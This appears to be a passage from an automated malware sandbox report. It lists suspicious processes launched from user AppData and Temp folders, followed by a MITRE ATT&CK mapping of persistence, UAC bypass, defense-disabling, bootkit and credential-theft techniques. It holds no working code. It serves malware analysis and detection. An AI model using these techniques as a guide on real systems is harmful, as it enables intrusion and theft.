C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exe --Task
1⤵
- Suspicious use of SetThreadContext
PID:5348

C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exe
C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exe --Task
2⤵
PID:1800

C:\Users\Admin\AppData\Roaming\uuishcr
C:\Users\Admin\AppData\Roaming\uuishcr
1⤵
- Checks SCSI registry key(s)
PID:8808

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20240216-0310.dm
1⤵
PID:8032

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
PID:9944

C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
1⤵
PID:10216

C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe
C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe
1⤵
PID:10184

C:\Users\Admin\AppData\Roaming\Windata\system.exe
C:\Users\Admin\AppData\Roaming\Windata\system.exe
1⤵
PID:10408

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
PID:8516

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scripting

T1064

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

Defense Evasion

Modify Registry

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Virtualization/Sandbox Evasion

File and Directory Permissions Modification

T1222

Scripting

T1064

Pre-OS Boot

T1542

Bootkit

T1542.003

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

Virtualization/Sandbox Evasion

System Information Discovery